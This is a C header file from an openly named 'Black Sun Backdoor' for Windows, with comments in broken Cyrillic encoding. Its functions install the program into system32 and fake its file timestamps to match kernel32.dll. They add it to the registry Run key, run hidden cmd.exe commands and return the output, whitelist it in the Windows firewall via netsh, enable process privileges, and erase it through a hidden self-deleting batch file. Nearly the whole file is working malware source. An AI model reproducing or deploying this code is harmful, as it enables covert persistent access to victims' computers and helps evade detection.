src/functions.h

/*
 *  ---------------------------------------------------------------------
 *         ____  _            _     _____
 *        |  _ \| |          | |   / ____|
 *        | |_) | | __ _  ___| | _| (___  _   _ _ __
 *        |  _ <| |/ _` |/ __| |/ /\___ \| | | | '_ \
 *        | |_) | | (_| | (__|   < ____) | |_| | | | |
 *        |____/|_|\__,_|\___|_|\_\_____/ \__,_|_| |_|
 *                 Black Sun Backdoor v1.0 prebeta
 *
 *                          (x) Cytech 2007
 *
 *  ---------------------------------------------------------------------
 *  [functions.h]
 *      ôóíêöèè äëÿ ðàáîòû ñ ñèñòåìîé (óñòàíîâêà â ñèñòåìó, ñàìîóäàëåíèå
 *      è ò.ä)
 *  ---------------------------------------------------------------------
 */

// ----------------------- [ ñîçäàíèå ïîòîêà ] ----------------------- //

static HANDLE WINAPI StartThread(LPTHREAD_START_ROUTINE lpStartAddress, LPVOID param)
{
    DWORD lpThreadId;
    return CreateThread(NULL, NULL, lpStartAddress, param, NULL, &lpThreadId);
}

// --------------- [ Ïðîïèñûâàíèå ñåáÿ â ðååñòðå è ñàìîóäàëåíèå èç ðååñòðà ] ---------------- //

static DWORD WINAPI AddSelfToRun(char *mode)
{
    HKEY hkey, zhkey;
    char str[256], sysbuf[256], myname[256], kernl[256];
    HANDLE hTimeFile;
    FILETIME aFileTime, bFileTime, cFileTime;
    GetModuleFileName(GetModuleHandle(NULL), str, 256);

    GetSystemDirectory(sysbuf, 256);
    lstrcpy(myname, sysbuf);
    lstrcat(myname, "\\");
    lstrcat(myname, EXENAME);

    if(lstrcmp(mode,"addtorun")==0) // ïðîïèñûâàåì ñåáÿ â àâòîçàãðóçêó
    {
        if(RegOpenKeyEx(HKEY_LOCAL_MACHINE, REGKEY, 0, KEY_WRITE,&hkey)==ERROR_SUCCESS)
            {
             // ïîëó÷àåì äàòó ñîçäàíèÿ kernel32.dll
                lstrcpy(kernl, sysbuf); lstrcat(kernl, "//");  lstrcat(kernl, KERNEL32_DLL);
                hTimeFile = CreateFile(kernl, GENERIC_READ, FILE_SHARE_READ, 0,
                                              OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);

                if (hTimeFile != INVALID_HANDLE_VALUE)
                {
                    GetFileTime(hTimeFile, &aFileTime, &bFileTime, &cFileTime);
                    CloseHandle(hTimeFile);
                }

                CopyFile(str, myname, FALSE);

                hTimeFile = CreateFile(myname, GENERIC_WRITE, FILE_SHARE_WRITE, 0,
                            OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);

                // óñòàíàâëèâàåì ñåáå äàòó ñîçäàíèÿ kernel32.dll, ÷òîáû ìåíüøå ñâåòèòüñÿ â òîì ñëó÷àå,
                // åñëè ñïëàéñèíã ðàáîòàòü íå áóäåò (íàïðèìåð, çàãðóçêà ÎÑ â Safe Mode).

                if (hTimeFile != INVALID_HANDLE_VALUE)
                {
                    SetFileTime(hTimeFile, &aFileTime, &bFileTime, &cFileTime);
                    CloseHandle(hTimeFile);
                }

                // ïèøåì ñåáÿ â ðååñòð
                if (RegSetValueEx(hkey, REGNAME, 0, REG_SZ, myname, lstrlen(myname)) == ERROR_SUCCESS);
                {
                    RegCloseKey(hkey);
                }
            }
    }
    else if(lstrcmp(mode, "killmyself")==0) // óäàëÿåìñÿ èç àâòîçàãðóçêè
    {
        if(RegOpenKeyEx(HKEY_LOCAL_MACHINE, REGKEY, 0, KEY_WRITE,&zhkey)==ERROR_SUCCESS)
            {
                RegDeleteValue(zhkey, REGNAME);
                RegCloseKey(zhkey);
            }
    }
    return 0;
}

// ----------------------- [ ñàìîóäàëåíèå ÷åðåç ñîçäàíèå .bat ] ----------------------- //

// Ôóíêöèÿ ñàìîóäàëåíèÿ ñ ïîìîùüþ .bat-ôàéëà :). Ëàìåðñòâî :)) Àëüòåðíàòèâíûì ñïîñîáîì
// ìîæíî þçàòü èíæåêò â äðóãîé ïðîöåññ è îò òóäà ñîçäàòü ïîòîê íà ñàìîóäàëåíèå ïðîñòî ñ
// ïîìîùüþ DeleteFile :) Ïîòîì ïåðåäåëàþ.
// Ñóòü æå ýòîãî ìåòîäà çàêëþ÷àåòñÿ â òîì, ÷òî ñîçäàåòñÿ áàòíèê â ïàïêå system32 ñëåäóþùåãî âèäà:
// ---- [ self.bat ] ----
//  @ECHO off
//  :try
//      DEL C:\WINDOWS\system32\blacksun.exe
//  GOTO try
//      DEL C:\WINDOWS\system32\self.bat
// ---- [ self.bat ] ----
// Ïðè çàïóñêå îí ïûòàåòñÿ óäàëèòü ñåáÿ è ñàì áýêäîð äî òåõ ïîð, ïîêà íå ñäåëàåò ýòî.
// Â ýòî âðåìÿ áýêäîð ïðîñòî çàâåðøàåò ñâîé ïðîöåññ, à áàòíèê óäàëÿåò è ñåáÿ è áýêäîð.

static DWORD WINAPI DeleteSelfWithBat()
{
    DWORD dwSz;
    HANDLE hFile;
    char szSelfBatDel[256], szSelfName[256];
    char szTemp[256];
    GetModuleFileName(GetModuleHandle(NULL), szSelfName, sizeof(szSelfName));

     GetSystemDirectory(szSelfBatDel, 256);
     lstrcat(szSelfBatDel, "\\");
     lstrcat(szSelfBatDel, SELFDEL_BAT);

    hFile = CreateFile(szSelfBatDel, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);

    if (hFile != INVALID_HANDLE_VALUE)
    {
        ZeroMemory (&szTemp, sizeof(szTemp));

        lstrcpy(szTemp, "@ECHO off\r\n:try\r\nDEL ");
        lstrcat(szTemp, &szSelfName);
        lstrcat(szTemp,"\r\nIF EXIST ");
        lstrcat(szTemp, &szSelfName);
        lstrcat(szTemp, " GOTO try\r\n");
        lstrcat(szTemp, "DEL ");
        lstrcat(szTemp,  &szSelfBatDel);

        dwSz = sizeof(szTemp);
        WriteFile(hFile, szTemp, dwSz, &dwSz, NULL);
        CloseHandle(hFile);
        WinExec(szSelfBatDel, SW_HIDE);
        Sleep(100);
        ExitProcess(0);
    }

    return 0;
}

static DWORD WINAPI DeleteSelfFirstTime(LPVOID lpParam)
{
    DeleteSelfWithBat();
    return 0;
}

// ----------------------- [ âûïîëíåíèå êîìàíä ñ ïîìîùüþ cmd.exe ] ----------------------- //

static DWORD WINAPI ExecuteCMD(char * command)
{
        SECURITY_ATTRIBUTES sec;
        PROCESS_INFORMATION pi;
        STARTUPINFO si;
        HANDLE hOutR, hOutW;
        DWORD BTAvail;
        char * Result = NULL;
        char * cmdline = NULL;
        char cmdpath[256];
        OSVERSIONINFO OSVersionInfo;
        DWORD Read = 0;

            fZeroMemory(&pi, sizeof(PROCESS_INFORMATION));
            fZeroMemory(&sec, sizeof(SECURITY_ATTRIBUTES));
            sec.nLength = sizeof(SECURITY_ATTRIBUTES);
            sec.bInheritHandle = TRUE;
            sec.lpSecurityDescriptor = NULL;

    if (CreatePipe(&hOutR, &hOutW, &sec, 0))
    {
                fZeroMemory(&si, sizeof(STARTUPINFO));
                si.cb = sizeof(STARTUPINFO);
                si.hStdOutput = hOutW;
                si.dwFlags = STARTF_USESTDHANDLES|STARTF_USESHOWWINDOW;
                si.wShowWindow = SW_HIDE;

            cmdline = (char *) GlobalAlloc(GMEM_FIXED, (7 + lstrlen(command)));
            lstrcat(lstrcpy(cmdline, " /a /c "), command);

            OSVersionInfo.dwOSVersionInfoSize = sizeof (OSVERSIONINFO);
            GetVersionEx (&OSVersionInfo);

            if (OSVersionInfo.dwPlatformId == VER_PLATFORM_WIN32_NT)
            {
                GetEnvironmentVariable(COMSPEC, cmdpath, 2048);
            }

        if (CreateProcess(cmdpath, cmdline, &sec, &sec, TRUE, NORMAL_PRIORITY_CLASS, NULL, NULL, &si, &pi))
        {
            WaitForSingleObject(pi.hProcess, INFINITE);
            CloseHandle(pi.hThread);
            CloseHandle(pi.hProcess);
            PeekNamedPipe (hOutR, NULL, 0, NULL, &BTAvail, NULL);
                if (BTAvail > 0)
                {
                    Result = (char *) GlobalAlloc(GMEM_FIXED, BTAvail + 1);
                    ReadFile(hOutR, Result, BTAvail, &Read, NULL);
                    Result[BTAvail] = '\0';
                    OemToChar(Result, Result);
                    if(lstrlen(Result) > 0){    return Result; }
                    else { return MSG_CMDEXECUTED; }
                }

        }
}
    return 0;
}

// ----------------------- [ ñïðÿòàòü/ïîêàçàòü îêíî ] ----------------------- //

static DWORD WINAPI SetWindowStatus(HWND hWnd, char *mode)
{
        if (lstrcmp(mode, "show")==0)
        {
            ShowWindow(hWnd, SW_SHOW);
        }
        else if (lstrcmp(mode, "hide")==0)
        {
            ShowWindow(hWnd, SW_HIDE);
        }
    return 0;
}

// ------------------ [ äîáàâëíèå ñàìîãî ñåáÿ â netsh êàê äîâåðåííîå ïðèëîæåíèå ] ------------------ //

// Íåäàâíî âîò ïîïàëñÿ ìíå òðîé â ðóêè, ïðîäèçàñìèâ åãî, ÿ óâèäåë òàì ýòó ñòàðóþ,
// íî ïîëåçíóþ ôè÷ó. Ðåøèë äîáàâèòü è ñþäà. Ñàìîäîáàâëåíèå â äîâåðåííûå ïðèëîæåíèÿ ôàéðâîëà
// NetSH (ñòàíäàðòíàÿ âèíäîâñêèé ôàéð). Ïðîñòî âûïîëíÿåòñÿ êîìàíäà:
// netsh firewall set allowedprogram C:\WINDOWS\system32\blacksun.exe enable

static DWORD WINAPI NetSHFirewallReg()
{
    char fireexec[256], my_path[256];
    GetModuleFileName(0, my_path, 256);

        lstrcpy(fireexec, NETSH_ADD_1);
        lstrcat(fireexec,  my_path);
        lstrcat(fireexec, NETSH_ADD_2);

    WinExec(fireexec, SW_HIDE);
    return 0;
}

// ------------------ [ ïîëó÷åíèå êàêèõ-ëèáî ïðèâåëåãèé ] ------------------ //

// Ïîëó÷åíèå ïðèâåëåãèé ïðîöåññà, íàïðèìåð, ïðèâåëåãèé îòëàä÷èêà èëè shutdown-ïðèâåëåãèé

static BOOL SetPrivilege(char* SeNamePriv, BOOL EnableTF)
{
   HANDLE hToken;
   LUID SeValue;
   TOKEN_PRIVILEGES tp;

   if (!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,&hToken))
   {
    return FALSE;
   }

   if (!LookupPrivilegeValue(NULL, SeNamePriv, &SeValue))
   {
      CloseHandle(hToken);
      return FALSE;
   }

   tp.PrivilegeCount = 1;
   tp.Privileges[0].Luid = SeValue;
   tp.Privileges[0].Attributes = EnableTF ? SE_PRIVILEGE_ENABLED : 0;

   AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);

   CloseHandle(hToken);
   return TRUE;
}